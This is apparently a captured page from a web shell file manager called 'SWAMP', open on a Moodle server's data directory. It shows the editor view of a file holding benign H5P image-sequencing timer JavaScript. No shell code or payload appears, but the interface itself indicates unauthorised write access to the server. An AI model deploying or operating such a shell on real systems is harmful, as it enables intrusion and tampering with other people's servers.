░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
pplmvsvm
LOCATION:
/datadrive/moodledata/filedir/ef/87
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: ef8784ce14a8abd284ea931fa8abecce6daf631c
(function (ImageSequencing, Timer) { /** * ImageSequencing.Timer - Adapter between image sequencing and H5P.Timer * * @class H5P.ImageSequencing.Timer * @extends H5P.Timer * @param {H5P.jQuery} $element */ ImageSequencing.Timer = function ($element) { /** @alias H5P.ImageSequencing.Timer# */ const that = this; // Initialize event inheritance Timer.call(that, 100); /** @private {string} */ const naturalState = '0:00'; /** * update - Set up callback for time updates. * Formats time stamp for humans. * * @private */ const update = function () { const time = that.getTime(); const minutes = Timer.extractTimeElement(time, 'minutes'); let seconds = Timer.extractTimeElement(time, 'seconds') % 60; if (seconds < 10) { seconds = '0' + seconds; } $element.text(minutes + ':' + seconds); }; // Setup default behavior that.notify('every_tenth_second', update); that.on('reset', function () { $element.text(naturalState); that.notify('every_tenth_second', update); }); }; // Inheritance ImageSequencing.Timer.prototype = Object.create(Timer.prototype); ImageSequencing.Timer.prototype.constructor = ImageSequencing.Timer; }) (H5P.ImageSequencing, H5P.Timer);
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📄 ef8784ce14a8abd284ea931fa8abecce6daf631c
?
1.3 KB
2023-08-03 13:29
EDIT